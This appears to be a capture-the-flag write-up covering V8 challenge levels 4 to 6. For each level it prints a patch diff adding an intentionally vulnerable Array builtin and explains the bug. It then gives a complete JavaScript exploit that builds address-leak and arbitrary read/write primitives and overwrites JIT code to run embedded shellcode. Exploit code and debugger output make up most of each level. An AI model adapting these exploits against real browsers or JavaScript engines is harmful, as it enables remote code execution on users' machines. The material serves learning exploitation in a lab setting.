Level 4
Patch Analysis
diff --git a/BUILD.gn b/BUILD.gnindex c0192593c4a..83e264723f7 100644--- a/BUILD.gn+++ b/BUILD.gn@@ -1889,6 +1889,7 @@ if (v8_postmortem_support) { }
torque_files = [+ "src/builtins/array-setlength.tq", "src/builtins/aggregate-error.tq", "src/builtins/array-at.tq", "src/builtins/array-concat.tq",diff --git a/src/builtins/array-setlength.tq b/src/builtins/array-setlength.tqnew file mode 100644index 00000000000..4a2a864af44--- /dev/null+++ b/src/builtins/array-setlength.tq@@ -0,0 +1,14 @@+namespace array {+transitioning javascript builtin+ArrayPrototypeSetLength(+ js-implicit context: NativeContext, receiver: JSAny)(length: JSAny): JSAny {+ try {+ const len: Smi = Cast<Smi>(length) otherwise ErrorLabel;+ const array: JSArray = Cast<JSArray>(receiver) otherwise ErrorLabel;+ array.length = len;+ } label ErrorLabel {+ Print("Nope");+ }+ return receiver;+}+}diff --git a/src/d8/d8.cc b/src/d8/d8.ccindex facf0d86d79..382c015bc48 100644--- a/src/d8/d8.cc+++ b/src/d8/d8.cc@@ -3364,7 +3364,7 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);- global_template->Set(Symbol::GetToStringTag(isolate),+/* global_template->Set(Symbol::GetToStringTag(isolate), String::NewFromUtf8Literal(isolate, "global")); global_template->Set(isolate, "version", FunctionTemplate::New(isolate, Version));@@ -3385,13 +3385,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { global_template->Set(isolate, "readline", FunctionTemplate::New(isolate, ReadLine)); global_template->Set(isolate, "load",- FunctionTemplate::New(isolate, ExecuteFile));+ FunctionTemplate::New(isolate, ExecuteFile));*/ global_template->Set(isolate, "setTimeout", FunctionTemplate::New(isolate, SetTimeout)); // Some Emscripten-generated code tries to call 'quit', which in turn would // call C's exit(). This would lead to memory leaks, because there is no way // we can terminate cleanly then, so we need a way to hide 'quit'.- if (!options.omit_quit) {+/* if (!options.omit_quit) { global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit)); } global_template->Set(isolate, "testRunner",@@ -3410,7 +3410,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { if (i::v8_flags.expose_async_hooks) { global_template->Set(isolate, "async_hooks", Shell::CreateAsyncHookTemplate(isolate));- }+ }*/
return global_template; }diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.ccindex 48249695b7b..f3379ac47ec 100644--- a/src/init/bootstrapper.cc+++ b/src/init/bootstrapper.cc@@ -2531,6 +2531,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object, JSObject::AddProperty(isolate_, proto, factory->constructor_string(), array_function, DONT_ENUM);
+ SimpleInstallFunction(isolate_, proto, "setLength",+ Builtin::kArrayPrototypeSetLength, 1, true); SimpleInstallFunction(isolate_, proto, "at", Builtin::kArrayPrototypeAt, 1, true); SimpleInstallFunction(isolate_, proto, "concat",You can see that a new builtin ArrayPrototypeSetLength has been added to the Array prototype. This function attempts to set the length of an array to a given value, and if the value is not a Smi (small integer) or the receiver is not a JSArray, it prints “Nope”. And we can easily noticed that their is a Out-of-Bound bug here, if we set the length of an array more than its allocated size, it will lead to OOB access.
Exploit
The exploit methodology is starghtforward, we create two arrays a and b, then we use the vulnerable setLength function to increase the length of these arrays. And then archive Addrof, Arbitrary Read and Arbitrary Write primitives by manipulating the elements pointer of the array. Finally, we overwrite the RWX memory with shellcode and execute it.
49 collapsed lines
var f64 = new Float64Array(1);var bigUint64 = new BigUint64Array(f64.buffer);var u32 = new Uint32Array(f64.buffer);
function hex(i) { return i.toString(16).padStart(8, "0");}
function i2f(i) { bigUint64[0] = i; return f64[0];}
function f2i(i) { f64[0] = i; return bigUint64[0];}
function u2f(low, high) { u32[0] = low; u32[1] = high; return f64[0];}
function u2i(low, high) { u32[0] = low; u32[1] = high; return bigUint64[0];}
function i2u_l(i) { bigUint64[0] = i; return u32[0];}
function i2u_h(i) { bigUint64[0] = i; return u32[1];}
const logInfo = (m) => console.log(`[*] ${m}`);const logOK = (m) => console.log(`[+] ${m}`);const logErr = (m) => console.log(`[-] ${m}`);
function toHex(x, w = 16) { x = BigInt.asUintN(64, BigInt(x)); return "0x" + x.toString(16).padStart(w, "0");}
function AddrOf(target) { obj[0] = target; b[0x100] = u2f(double_array_map, double_prototype); return i2u_l(f2i(obj[0]));}
function ArbRead(addr) { b[0x100] = u2f(double_array_map, double_prototype); b[0x101] = u2f(addr - 0x8 + 1, 100); return f2i(obj[0]);}
function ArbWrite(addr, value) { b[0x100] = u2f(double_array_map, double_prototype); b[0x101] = u2f(addr - 0x8 + 1, 100); obj[0] = i2f(value);}
const shellcode = () => { return [ 1.9995716422075807e-246, 1.9710255944286777e-246, 1.97118242283721e-246, 1.971136949489835e-246, 1.9711826272869888e-246, 1.9711829003383248e-246, -9.254983612527998e+61 ];}
for (let i = 0; i < 10000; i++) { shellcode();}
let a = new Array(0x100).fill(1.1)let b = new Array(0x100).fill(2.2);let obj = { a, b };
// Get out of bounds{ a.setLength(0x110); b.setLength(0x110);}
let double_array_map = i2u_l(f2i(a[0x100]));let double_prototype = i2u_h(f2i(a[0x100]));let double_element = i2u_l(f2i(a[0x101]));
logInfo("double_array_map: " + toHex(double_array_map));logInfo("double_prototype: " + toHex(double_prototype));logInfo("double_element: " + toHex(double_element));
// %DebugPrint(shellcode);
let shellcode_addr = AddrOf(shellcode) - 1;logOK("shellcode addr: " + toHex(shellcode_addr));
let code_ptr = i2u_l(ArbRead(shellcode_addr + 0xc)) - 1;logOK("code ptr: " + toHex(code_ptr));
let rwx_addr = ArbRead(code_ptr + 0x14);logOK("rwx addr: " + toHex(rwx_addr));
let shellcode_start = rwx_addr + 0x69n + 0x2n;logInfo("shellcode start at: " + toHex(shellcode_start));
logInfo("Overwrite code ptr to shellcode");ArbWrite(code_ptr + 0x14, shellcode_start);
// %SystemBreak();shellcode();Few things we need to note here is that we don’t need ‘FakeObj’ primitive, just because we can directly manipulate the element pointer and length of the array to achieve arbitrary read and write. Moreover, we can use Garbage Collector for stabilizing the addresses of our objects. So that we can easily calculate the OOB index without worrying about the index getting changed.
Level 5
Patch Analysis
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.ccindex ea45a7ada6b..4ed66c8113f 100644--- a/src/builtins/builtins-array.cc+++ b/src/builtins/builtins-array.cc@@ -407,6 +407,46 @@ BUILTIN(ArrayPush) { return *isolate->factory()->NewNumberFromUint((new_length)); }
+BUILTIN(ArrayOffByOne) {+ HandleScope scope(isolate);+ Factory *factory = isolate->factory();+ Handle<Object> receiver = args.receiver();++ if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("Nope")));+ }++ Handle<JSArray> array = Cast<JSArray>(receiver);++ ElementsKind kind = array->GetElementsKind();++ if (kind != PACKED_DOUBLE_ELEMENTS) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("Need an array of double numbers")));+ }++ if (args.length() > 2) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("Too many arguments")));+ }++ Handle<FixedDoubleArray> elements(Cast<FixedDoubleArray>(array->elements()), isolate); // get the elements+ uint32_t len = static_cast<uint32_t>(Object::NumberValue(array->length())); // get the length+ if (args.length() == 1) { // read mode+ return *(isolate->factory()->NewNumber(elements->get_scalar(len)));+ } else { // write mode+ Handle<Object> value = args.at(1);+ if (!IsNumber(*value)) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("Need a number argument")));+ }+ double num = static_cast<double>(Object::NumberValue(*value));+ elements->set(len, num);+ return ReadOnlyRoots(isolate).undefined_value();+ }+}+ namespace {
V8_WARN_UNUSED_RESULT Tagged<Object> GenericArrayPop(Isolate* isolate,diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.hindex 78cbf8874ed..8a0bd959a29 100644--- a/src/builtins/builtins-definitions.h+++ b/src/builtins/builtins-definitions.h@@ -394,6 +394,7 @@ namespace internal { ArraySingleArgumentConstructor) \ TFC(ArrayNArgumentsConstructor, ArrayNArgumentsConstructor) \ CPP(ArrayConcat) \+ CPP(ArrayOffByOne) \ /* ES6 #sec-array.prototype.fill */ \ CPP(ArrayPrototypeFill) \ /* ES7 #sec-array.prototype.includes */ \diff --git a/src/compiler/typer.cc b/src/compiler/typer.ccindex 9a346d134b9..ce31f92b876 100644--- a/src/compiler/typer.cc+++ b/src/compiler/typer.cc@@ -1937,6 +1937,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) { return Type::Receiver(); case Builtin::kArrayUnshift: return t->cache_->kPositiveSafeInteger;+ case Builtin::kArrayOffByOne:+ return Type::Receiver();
// ArrayBuffer functions. case Builtin::kArrayBufferIsView:diff --git a/src/d8/d8.cc b/src/d8/d8.ccindex facf0d86d79..382c015bc48 100644--- a/src/d8/d8.cc+++ b/src/d8/d8.cc@@ -3364,7 +3364,7 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);- global_template->Set(Symbol::GetToStringTag(isolate),+/* global_template->Set(Symbol::GetToStringTag(isolate), String::NewFromUtf8Literal(isolate, "global")); global_template->Set(isolate, "version", FunctionTemplate::New(isolate, Version));@@ -3385,13 +3385,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { global_template->Set(isolate, "readline", FunctionTemplate::New(isolate, ReadLine)); global_template->Set(isolate, "load",- FunctionTemplate::New(isolate, ExecuteFile));+ FunctionTemplate::New(isolate, ExecuteFile));*/ global_template->Set(isolate, "setTimeout", FunctionTemplate::New(isolate, SetTimeout)); // Some Emscripten-generated code tries to call 'quit', which in turn would // call C's exit(). This would lead to memory leaks, because there is no way // we can terminate cleanly then, so we need a way to hide 'quit'.- if (!options.omit_quit) {+/* if (!options.omit_quit) { global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit)); } global_template->Set(isolate, "testRunner",@@ -3410,7 +3410,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { if (i::v8_flags.expose_async_hooks) { global_template->Set(isolate, "async_hooks", Shell::CreateAsyncHookTemplate(isolate));- }+ }*/
return global_template; }diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.ccindex 48249695b7b..99dc014c13c 100644--- a/src/init/bootstrapper.cc+++ b/src/init/bootstrapper.cc@@ -2533,6 +2533,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
SimpleInstallFunction(isolate_, proto, "at", Builtin::kArrayPrototypeAt, 1, true);+ SimpleInstallFunction(isolate_, proto, "offByOne",+ Builtin::kArrayOffByOne, 1, false); SimpleInstallFunction(isolate_, proto, "concat", Builtin::kArrayPrototypeConcat, 1, false); SimpleInstallFunction(isolate_, proto, "copyWithin",In this patch, a new builtin ArrayOffByOne has been added to the Array prototype. This function allows reading and writing to an out-of-bounds index of a packed double array. But it only allow us to OOB read/write 8 bytes which we can just read/write map and property of target object.
Exploit
To exploit this level, we first need to know about v8 Fast-Properties. We need to focus on these concept:
- Named properties vs. elements
- Named properties: Regular string-keyed fields on objects, e.g.
{ a: 1, b: 2 }orobj["name"]. V8 stores them in a dedicated properties store. - Elements: Integer-indexed properties (array indices), most common on arrays, e.g. arr[0], arr[1]. V8 stores them separately in an elements store.
- This split (properties store vs. elements store) lets V8 optimize common patterns: array operations over consecutive indices vs. object property lookups.

- Named properties: Regular string-keyed fields on objects, e.g.
- In-object vs. normal properties
- In-object properties are stored directly inside the object’s own memory layout. They’re the fastest because accessing them needs no extra pointer dereference.
- The number of in-object slots is decided up front (based on the object’s “initial size”). If you add more properties than there is space for, V8 stores the overflow as normal properties in the separate properties store, adding one level of indirection.

- Fast vs. slow properties
- Fast properties use a compact, index-based layout in the properties store. V8 uses the object’s HiddenClass + descriptor array to map a property name to an index, which enables fast access and optimizations like inline caches.
- Slow properties (dictionary mode) store properties in a self-contained dictionary (hash-table-like). This avoids the overhead of constantly updating HiddenClasses/descriptors when properties are frequently added/removed, but it’s typically slower for access and doesn’t work well with inline caches.

Pain enough right? Let’s take an example to understand this better:
let arr = [1.1, 2.2, 3.3]; // elementslet obj = { in1: 10, in2: 20 }; // in-object propertiesobj.out1 = 30; // normal propertiesobj.out2 = 40; // normal properties
%DebugPrint(arr);%DebugPrint(obj);Let’s debug in GDB:
pwndbg> job 0x2f6800042ab90x2f6800042ab9: [JS_OBJECT_TYPE] - map: 0x2f68001d3575 <Map[20](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x2f68001c10ed <Object map = 0x2f68001c0701> - elements: 0x2f6800000725 <FixedArray[0]> [HOLEY_ELEMENTS] - properties: 0x2f6800042b45 <PropertyArray[3]> - All own properties (excluding elements): { 0x2f68001d3349: [String] in OldSpace: #in1: 10 (const data field 0, attrs: [WEC]) @ Any, location: in-object 0x2f68001d3359: [String] in OldSpace: #in2: 20 (const data field 1, attrs: [WEC]) @ Any, location: in-object 0x2f68001d3369: [String] in OldSpace: #out1: 30 (const data field 2, attrs: [WEC]) @ Any, location: properties[0] 0x2f68001d3379: [String] in OldSpace: #out2: 40 (const data field 3, attrs: [WEC]) @ Any, location: properties[1] }pwndbg> x/10wx 0x2f6800042ab9-10x2f6800042ab8: 0x001d3575 0x00042b45 0x00000725 [0x00000014]0x2f6800042ac8: [0x00000028] 0x00000685 0x00010001 0x000000000x2f6800042ad8: 0x0000074d 0x001d3349pwndbg> p/d 0x14 >> 1$3 = 10pwndbg> p/d 0x28 >> 1$4 = 20You can see that the first two properties in1 and in2 are stored in-object, while out1 and out2 are stored in the properties array.
pwndbg> job 0x2f6800042b450x2f6800042b45: [PropertyArray] - map: 0x2f6800000999 <Map(PROPERTY_ARRAY_TYPE)> - length: 3 - hash: 0 0: 30 1: 40 2: 0x2f6800000069 <undefined>pwndbg> x/10wx 0x2f6800042b45-10x2f6800042b44: 0x00000999 0x00000006 [0x0000003c] [0x00000050]0x2f6800042b54: 0x00000069 0x00000685 0x00040004 0x000000000x2f6800042b64: 0x0000074d 0x001d3349pwndbg> p/d 0x0000003c >> 1$5 = 30pwndbg> p/d 0x00000050 >> 1$6 = 40We can notice that the layout of the properties array is pretty simple [map][length][out1][out2].... So if we modified the properties pointer of the object, fengshui for out1 or out2 to point exactly at lenght field of any array, we can lead that array OOB by changing it length obj.out1/obj.out2 = newLength. Now, everything is the same as at the previous level.
var f64 = new Float64Array(1);var bigUint64 = new BigUint64Array(f64.buffer);var u32 = new Uint32Array(f64.buffer);
function hex(i) { return i.toString(16).padStart(8, "0");}
function i2f(i) { bigUint64[0] = i; return f64[0];}
function f2i(i) { f64[0] = i; return bigUint64[0];}
function u2f(low, high) { u32[0] = low; u32[1] = high; return f64[0];}
function u2i(low, high) { u32[0] = low; u32[1] = high; return bigUint64[0];}
function i2u_l(i) { bigUint64[0] = i; return u32[0];}
function i2u_h(i) { bigUint64[0] = i; return u32[1];}
const logInfo = (m) => console.log(`[*] ${m}`);const logOK = (m) => console.log(`[+] ${m}`);const logErr = (m) => console.log(`[-] ${m}`);
function toHex(x, w = 16) { x = BigInt.asUintN(64, BigInt(x)); return "0x" + x.toString(16).padStart(w, "0");}
function shellcode() { return [ 1.9995716422075807e-246, 1.9710255944286777e-246, 1.97118242283721e-246, 1.971136949489835e-246, 1.9711826272869888e-246, 1.9711829003383248e-246, -9.254983612527998e+61 ];}
for (let i = 0; i < 10000; i++) shellcode();
let a = [1.1];let obj = { in1: 1 };obj.out1 = 2;obj.out2 = 3;
let temp = f2i(a.offByOne()); //map, propertieslet obj_array_map = i2u_l(temp);
let array_addr = i2u_h(temp) - 0x7c;a.offByOne(u2f(obj_array_map, array_addr));obj.out2 = 0x1000; //a.len = 0x1000;
let b = [2.2, 3.3, 4.4];
temp = f2i(a[54]);let double_array_map = i2u_l(temp);let double_properties = i2u_h(temp);
function GetAddressOf(target) { a[54] = u2f(obj_array_map, 0); b[0] = target; a[54] = u2f(double_array_map, 0); return f2i(b[0]);}
function GetFakeObject(addr) { a[54] = u2f(double_array_map, 0); b[0] = u2f(addr, 0); a[54] = u2f(obj_array_map, 0); return b[0];}
let shellcode_addr = GetAddressOf(shellcode);
let fake_array = [u2f(double_array_map, 0), u2f(i2u_l(shellcode_addr) - 0x8, 100)];let fake_array_addr = GetAddressOf(fake_array);let fake_obj = GetFakeObject(i2u_l(fake_array_addr) + 0x54);
function ArbRead64(addr) { fake_array[1] = u2f(addr - 8 + 1, 100); return f2i(fake_obj[0]);}
function ArbWrite64(addr, data) { fake_array[1] = u2f(addr - 8 + 1, 100); fake_obj[0] = i2f(data);}
let code_addr = ArbRead64(i2u_l(shellcode_addr) + 0xc - 1);let machine_code_addr = ArbRead64(i2u_l(code_addr) - 1 + 0x14);let malice = machine_code_addr + 0x6bn;ArbWrite64(i2u_l(code_addr) - 1 + 0x14, malice);
shellcode();Level 6
Patch Analysis
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.ccindex ea45a7ada6b..d450412f3e6 100644--- a/src/builtins/builtins-array.cc+++ b/src/builtins/builtins-array.cc@@ -407,6 +407,53 @@ BUILTIN(ArrayPush) { return *isolate->factory()->NewNumberFromUint((new_length)); }
+BUILTIN(ArrayFunctionMap) {+ HandleScope scope(isolate);+ Factory *factory = isolate->factory();+ Handle<Object> receiver = args.receiver();++ if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("Nope")));+ }++ Handle<JSArray> array = Cast<JSArray>(receiver);++ ElementsKind kind = array->GetElementsKind();++ if (kind != PACKED_DOUBLE_ELEMENTS) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("Need an array of double numbers")));+ }++ if (args.length() != 2) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("Need exactly one argument")));+ }++ uint32_t len = static_cast<uint32_t>(Object::NumberValue(array->length()));++ Handle<Object> func_obj = args.at(1);+ if (!IsJSFunction(*func_obj)) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("The argument must be a function")));+ }++ for (uint32_t i = 0; i < len; i++) {+ double elem = Cast<FixedDoubleArray>(array->elements())->get_scalar(i);+ Handle<Object> elem_handle = factory->NewHeapNumber(elem);+ Handle<Object> result = Execution::Call(isolate, func_obj, array, 1, &elem_handle).ToHandleChecked(); // get the return value+ if (!IsNumber(*result)) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("The function must return a number")));+ }+ double result_value = static_cast<double>(Object::NumberValue(*result));+ Cast<FixedDoubleArray>(array->elements())->set(i, result_value);+ }++ return ReadOnlyRoots(isolate).undefined_value();+}+ namespace {
V8_WARN_UNUSED_RESULT Tagged<Object> GenericArrayPop(Isolate* isolate,diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.hindex 78cbf8874ed..ede2775903e 100644--- a/src/builtins/builtins-definitions.h+++ b/src/builtins/builtins-definitions.h@@ -394,6 +394,7 @@ namespace internal { ArraySingleArgumentConstructor) \ TFC(ArrayNArgumentsConstructor, ArrayNArgumentsConstructor) \ CPP(ArrayConcat) \+ CPP(ArrayFunctionMap) \ /* ES6 #sec-array.prototype.fill */ \ CPP(ArrayPrototypeFill) \ /* ES7 #sec-array.prototype.includes */ \diff --git a/src/compiler/typer.cc b/src/compiler/typer.ccindex 9a346d134b9..33cf2d2edad 100644--- a/src/compiler/typer.cc+++ b/src/compiler/typer.cc@@ -1937,6 +1937,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) { return Type::Receiver(); case Builtin::kArrayUnshift: return t->cache_->kPositiveSafeInteger;+ case Builtin::kArrayFunctionMap:+ return Type::Receiver();
// ArrayBuffer functions. case Builtin::kArrayBufferIsView:diff --git a/src/d8/d8.cc b/src/d8/d8.ccindex facf0d86d79..382c015bc48 100644--- a/src/d8/d8.cc+++ b/src/d8/d8.cc@@ -3364,7 +3364,7 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);- global_template->Set(Symbol::GetToStringTag(isolate),+/* global_template->Set(Symbol::GetToStringTag(isolate), String::NewFromUtf8Literal(isolate, "global")); global_template->Set(isolate, "version", FunctionTemplate::New(isolate, Version));@@ -3385,13 +3385,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { global_template->Set(isolate, "readline", FunctionTemplate::New(isolate, ReadLine)); global_template->Set(isolate, "load",- FunctionTemplate::New(isolate, ExecuteFile));+ FunctionTemplate::New(isolate, ExecuteFile));*/ global_template->Set(isolate, "setTimeout", FunctionTemplate::New(isolate, SetTimeout)); // Some Emscripten-generated code tries to call 'quit', which in turn would // call C's exit(). This would lead to memory leaks, because there is no way // we can terminate cleanly then, so we need a way to hide 'quit'.- if (!options.omit_quit) {+/* if (!options.omit_quit) { global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit)); } global_template->Set(isolate, "testRunner",@@ -3410,7 +3410,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { if (i::v8_flags.expose_async_hooks) { global_template->Set(isolate, "async_hooks", Shell::CreateAsyncHookTemplate(isolate));- }+ }*/
return global_template; }diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.ccindex 48249695b7b..5e76e66bc15 100644--- a/src/init/bootstrapper.cc+++ b/src/init/bootstrapper.cc@@ -2533,6 +2533,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
SimpleInstallFunction(isolate_, proto, "at", Builtin::kArrayPrototypeAt, 1, true);+ SimpleInstallFunction(isolate_, proto, "functionMap",+ Builtin::kArrayFunctionMap, 1, false); SimpleInstallFunction(isolate_, proto, "concat", Builtin::kArrayPrototypeConcat, 1, false); SimpleInstallFunction(isolate_, proto, "copyWithin",This patch pretty interesting for me, it adds a new builtin ArrayFunctionMap to the Array prototype. This function takes a function as an argument and applies it to each element of a packed double array, replacing the element with the return value of the function. Although the check is performed to ensure that our array is of type PACKED_DOUBLE_ELEMENTS, but in the loop, there is no type check while executing the function, and we know JavaScript is a dynamically typed language, so we can change the type of our array during the loop execution by modify it element. The bultin still then tries to cast the array element as FixedDoubleArray, which elements_kind is now changed, leading to type confusion.
Exploit
Far enough, let’s see this example:
let arr = [1.1, 1.1, 1.1];let obj = {};let obj_addr = undefined;let idx = 0;
arr.functionMap((value) => { switch (idx) { case 0: arr[0] = obj; idx++; %DebugPrint(arr); return value; case 1: obj_addr = value; idx++; return value; default: idx++; return value; }});
console.log(obj_addr);%SystemBreak();When we run this code, during the first iteration of the loop, we change the type of arr from PACKED_DOUBLE_ELEMENTS to PACKED_ELEMENTS by setting arr[0] = obj. In the next index access, in this case arr[1], the builtin still tries to cast the element as FixedDoubleArray, leading to type confusion. By viewing the debugger, we noticed that most of the time, when it try to access the value of arr[1], the value is always the address of index 2 backing store address
DebugPrint: 0x30d500042ba5: [JSArray] - map: 0x30d5001cb8a1 <Map[16](PACKED_ELEMENTS)> [FastProperties] - prototype: 0x30d5001cb179 <JSArray[0]> - elements: 0x30d500042bf9 <FixedArray[3]> [PACKED_ELEMENTS] - length: 3 - properties: 0x30d500000725 <FixedArray[0]> - All own properties (excluding elements): { 0x30d500000d99: [String] in ReadOnlySpace: #length: 0x30d500025ff1 <AccessorInfo name= 0x30d500000d99 <String[6]: #length>, data= 0x30d500000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor } - elements: 0x30d500042bf9 <FixedArray[3]> { 0: 0x30d500042bb5 <Object map = 0x30d5001c0f21> # Backing store address of index 0 1: 0x30d500042c19 <HeapNumber 1.1> # Backing store address of index 1 2: 0x30d500042c0d <HeapNumber 1.1> # Backing store address of index 2 }pwndbg> x/10xg 0x30d500042bf9-10x30d500042bf8: 0x000000060000056d 0x3ff199999999999a0x30d500042c08: [0x0000080900042c0d] 0x3ff199999999999a0x30d500042c18: 0x9999999a00000809 0x000008093ff199990x30d500042c28: 0x3ff199999999999a 0x00042c0d000008090x30d500042c38: 0x0000080900000809 0x3ff199999999999aSo if we let arr[2] = obj, then when the builtin try to access arr[1], it will read the backing store address of index 2 which is now pointing to obj. Thus, we can leak the address of any object by placing it at arr[2]. With that idea, we can now easily craft our exploit:
52 collapsed lines
var buf = new ArrayBuffer(8);var f64_buf = new Float64Array(buf);var u64_buf = new BigUint64Array(buf);var u32_buf = new Uint32Array(buf);
function f2i(val) { f64_buf[0] = val; return u64_buf[0];}
function i2f(val) { u64_buf[0] = BigInt(val); return f64_buf[0];}
function i2u_lo(i) { u64_buf[0] = BigInt(i); return u32_buf[0];}
function i2u_hi(i) { u64_buf[0] = BigInt(i); return u32_buf[1];}
function u2f(lo, hi) { u32_buf[0] = lo; u32_buf[1] = hi; return f64_buf[0];}
function u2i(lo, hi) { u32_buf[0] = lo; u32_buf[1] = hi; return u64_buf[0];}
const logInfo = (m) => console.log(`[*] ${m}`);const logOK = (m) => console.log(`[+] ${m}`);const logErr = (m) => console.log(`[-] ${m}`);
function toHex(x, w = 16) { x = BigInt.asUintN(64, x); return "0x" + x.toString(16);}
function assert(c) { if (!c) { throw "Assertion Failed"; }}
function shellcode() { return [ 1.9995716422075807e-246, 1.9710255944286777e-246, 1.97118242283721e-246, 1.971136949489835e-246, 1.9711826272869888e-246, 1.9711829003383248e-246, -9.254983612527998e+61 ];}
for (let i = 0; i < 10000; i++) shellcode();
function AddrOf(target) { let arr = [1.1, 1.1, 1.1]; let addr = undefined; let idx = 0;
arr.functionMap((value) => { switch (idx) { case 0: arr[2] = target; idx++; return value; case 1: addr = f2i(value); idx++; return value; default: idx++; return value; } }); return addr;}
function FakeObj(addr) { let arr = [1.1, 1.1, 1.1]; let idx = 0; let obj = {};
arr.functionMap((value) => { switch (idx) { case 0: arr[2] = obj; idx++; return i2f(addr); default: idx++; return value; } }); return arr[0];}
let fake_double_map = [i2f(0x31040404001c01b5n), i2f(0x0a8007ff11000844n)];let fake_double_map_addr = AddrOf(fake_double_map) + 0x54n;logInfo(`fake_double_map_addr: ${toHex(fake_double_map_addr)}`);
let shellcode_addr = AddrOf(shellcode);logInfo("Shellcode addr: " + toHex(shellcode_addr));
let fake_array = [u2f(i2u_lo(fake_double_map_addr), 0), u2f(i2u_lo(shellcode_addr), 100)]let fake_array_addr = AddrOf(fake_array);
let fake_obj = FakeObj(fake_array_addr + 0x54n);
function ArbRead(addr) { fake_array[1] = u2f(i2u_lo(addr - 0x8), 100); return f2i(fake_obj[0]);}
function ArbWrite(addr, value) { fake_array[1] = u2f(i2u_lo(addr - 0x8), 100); fake_obj[0] = i2f(value);}
let code_addr = ArbRead(i2u_lo(shellcode_addr) + 0xc);logOK("Leaked code addr: " + toHex(code_addr));
let rwx_addr = ArbRead(i2u_lo(code_addr) + 0x14)logOK("Leaked rwx addr: " + toHex(rwx_addr));
let shellcode_start = rwx_addr + 0x69n + 0x2n;logInfo("Shellcode start at: " + toHex(shellcode_start));
// %DebugPrint(shellcode);ArbWrite(i2u_lo(code_addr) + 0x14, shellcode_start);assert(ArbRead(i2u_lo(code_addr) + 0x14) == shellcode_start);
// %SystemBreak();shellcode();